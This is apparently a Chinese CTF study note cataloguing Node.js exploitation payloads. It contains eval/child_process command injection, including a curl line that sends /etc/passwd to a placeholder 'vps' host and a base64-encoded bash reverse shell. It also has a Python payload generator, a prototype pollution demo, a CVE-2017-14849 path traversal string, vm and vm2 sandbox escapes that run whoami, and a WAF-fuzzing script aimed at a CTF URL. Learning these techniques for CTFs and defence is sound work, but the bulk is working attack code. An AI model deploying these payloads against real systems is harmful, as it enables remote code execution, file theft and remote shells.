参考链接:Node.js 常见漏洞学习与总结
eval导致的命令执行 常见payload 弹计算器(windows):
1 /eval ?q=require ('child_process' ).exec('calc' );
读取文件(linux):
1 2 /eval ?q=require ('child_process' ).exec('curl -F "x=`cat /etc/passwd`" http://vps' );; curl -F参数用于传输二进制文件
反弹shell(linux):
1 2 3 4 5 /eval ?q=require ('child_process' ).exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash' ); YmFzaCAtaSA%2 BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/ tcp/127.0 .0 .1 /3333 0 >&1 BASE64加密后的结果,直接调用会报错。 注意:BASE64加密后的字符中有一个+号需要url编码为%2 B(一定情况下)
payload分析 1 2 (1 ).constructor.constructor("return require('child_process').exec('whoami').toString();" )(); (1 ).constructor.constructor("return require('child_process').execSync('whoami').toString();" )();
分析:
(1)表示数字,(1).constructor是Function Number,用于创建数字类型的变量,(1).constructor.constructor()是Number Function的内置构造函数,总的来说(1).constructor.constructor()就是个媒介,通过控制返回值执行命令constructor函数
函数后面加()表示创建完立刻执行,立即调用函数表达式IIFE
表现形式:
1 2 (function ( ) {}()); (function ( ) {})();
Tips:前面的(1)改成字符串”1”、布尔值true或者其他数据类型都可以,因为他们的构造函数constructor都有constructor()函数
Tips:当exec中为十六进制时,要把单引号’改成反引号`
更多用于调用的childprocess方法
execSync是exec的同步版本
execFile用于执行可执行文件 用法:execFile('example.py')
;如果想要回显的话需要加(err,stdout,stderr),同样的execFileSync是同步版本
child_process模块中所有函数都是基于spawn和spawnSync函数的来实现的,函数用法:child_process.spawn(command[, args][, options]) 示例:require(‘child_process’).spawn(‘calc’);
更多信息https://juejin.cn/post/6844903612842246157
载体 可以用执行命令的函数相当于上面的载体
setInterval(function(){},time); 每隔time秒执行函数
setTimeout(function(){},time); time秒后执行函数
Function(“console.log(‘Hello World’);”)(); 类似php的create_fcuntion 由于只是执行函数,因此需要加()立刻执行
(1).constructor.constructor(“return …”)
CJS模块和ES6模块的异同
CommonJS简称CJS,ES6简称ESM,不兼容
CommonJS模块使用require 引入库和module.exports 输出,ES6 模块使用import 和export
CommonJS脚本后缀为.cjs,ES6脚本的后缀为.mjs
CommonJS模块和ES6模块的不同可以体现在package.json的type字段,当type字段为空或者为”commonjs”时,当前目录下的.js
脚本会解释成CommonJS模块,如果type字段为module,.js
解释为ES模块
动态加载模块 参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules#importing_features_into_your_script
ES6版本:将require改成import
1 (1 ).constructor.constructor("return import('child_process').then(cp=>{cp.exec('calc');});" )();
global.process.mainModule利用 global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)
payload生成脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import argparselist1 = ['(1).constructor.constructor("return {}.toString();")();' , 'true.constructor.constructor("return {}.toString();")();' ,'"1".constructor.constructor("return {}.toString();")();' ,'setInterval(function(){{{}}},1000);(慎用,循环执行)' ,'setTimeout(function(){{{}}},1000);' ,'Function({})();' ]dict1={ "require" :["require('child_process').exec('{}')" , "require('child_process').execSync('{}')" ,"require('child_process').spawn('{}')" ,"require('child_process').spawnSync('{}')" ,"require('child_process').execFile('{}')" ,"require('child_process').execFileSync('{}')" ,"global.process.mainModule.constructor._load('child_process').exec('{}')" ], "import" :['import("child_process").then(cp=>{{cp.exec("{}");}})' , "global.process.mainModule.constructor._load('child_process').exec('{}')" ]} def test_for_sys (command,module ): flag=list() module = str(module).lower() if module not in ['commonjs' ,'es6' ]: print("module error only in Commonjs or ES6" ) exit(1 ) elif module=="commonjs" : for i in list1: for j in dict1['require' ]: p = i.format(j.format(command)) flag.append(p) else : for i in list1: for j in dict1['import' ]: p = i.format(j.format(command)) flag.append(p) for i in flag: print(i) parser = argparse.ArgumentParser(description="Description:This Program userd to generate Node.js Command execution payload" ) parser.add_argument('--command' ,'-c' ,help='command eg:whoami' ,required=True ) parser.add_argument('--module' ,'-m' ,help="nodejs module eg:commonjs or ES6" ,default="commonjs" ) args = parser.parse_args() if __name__=="__main__" : try : test_for_sys(args.command,args.module) except Exception as e: print(e)
用python跑脚本有时候会因为编码的问题出错,因此发现出错可以把单引号换成反引号试试,比如(1).constructor.constructor(require(child_process").exec("whoami")
)();
Tips:以上payload都是无回显的,要回显可以加上function(error, stdout, stderr){console.log(stdout)}
1 require.exec('whoami',function(error, stdout, stderr){console.log(stdout)});
Nodejs原型链污染 原型链污染原理 通常由merge函数造成1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let object1 = {}let object2 = JSON .parse('{"a": 1, "__proto__": {"b": 2}}' )merge(object1, object2) console .log(object1.a, object1.b)object3 = {} console .log(object3.b)
需要注意的点是:
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
最终输出的结果为:
Node.js 目录穿越漏洞复现(CVE-2017-14849) 漏洞影响的版本:
1 2 Node.js 8.5.0 + Express 3.19.0-3.21.2 Node.js 8.5.0 + Express 4.11.0-4.15.5
payload:/static/../../../a/../../../../etc/passwd
具体分析可见:Node.js CVE-2017-14849 漏洞分析
vm沙箱逃逸 vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸;
payload
1 2 3 const vm = require ("vm" );const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()` );console .log(env);
相当于
1 2 3 4 5 6 const vm = require ('vm' );const sandbox = {};const script = new vm.Script("this.constructor.constructor('return this.process.env')()" );const context = vm.createContext(sandbox);env = script.runInContext(context); console .log(env);
执行命令
1 2 3 4 const vm = require ("vm" );const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('whoami').toString()` );console .log(env);
github上的https://github.com/patriksimek/vm2/issues/225
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 "use strict" ;const {VM} = require ('vm2' );const untrusted = '(' + function ( ) { TypeError .prototype.get_process = f => f.constructor("return process" )(); try { Object .preventExtensions(Buffer.from("" )).a = 1 ; }catch (e){ return e.get_process(()=> {}).mainModule.require("child_process" ).execSync("whoami" ).toString(); } }+')()' ; try { console .log(new VM().run(untrusted)); }catch (x){ console .log(x); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 "use strict" ;const {VM} = require ('vm2' );const untrusted = '(' + function ( ) { try { Buffer.from(new Proxy ({}, { getOwnPropertyDescriptor(){ throw f => f.constructor("return process" )(); } })); }catch (e){ return e(()=> {}).mainModule.require("child_process" ).execSync("whoami" ).toString(); } }+')()' ; try { console .log(new VM().run(untrusted)); }catch (x){ console .log(x); }
具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析
javascript大小写特性 在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
1 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
1 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
显示错误信息
fuzz关键字过滤脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestspayload = """(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()""" print(payload) req_url = 'http://1b7290cf-9b5c-4559-8d82-f9c775a2c259.node3.buuoj.cn/run.php?code=' fuzz_payload = "" for k in payload: fuzz_payload += k req_payload = req_url + fuzz_payload data = requests.get(req_payload).text if 'Happy Hacking' in data: print("waf! k:{}" .format(k)) fuzz_payload = fuzz_payload[:-1 ] + '0' print(fuzz_payload) print(fuzz_payload)
根据实际情况把payload和url替换下就好了
模板字符串绕过过滤 如:${
${constructo
}r}
=constructor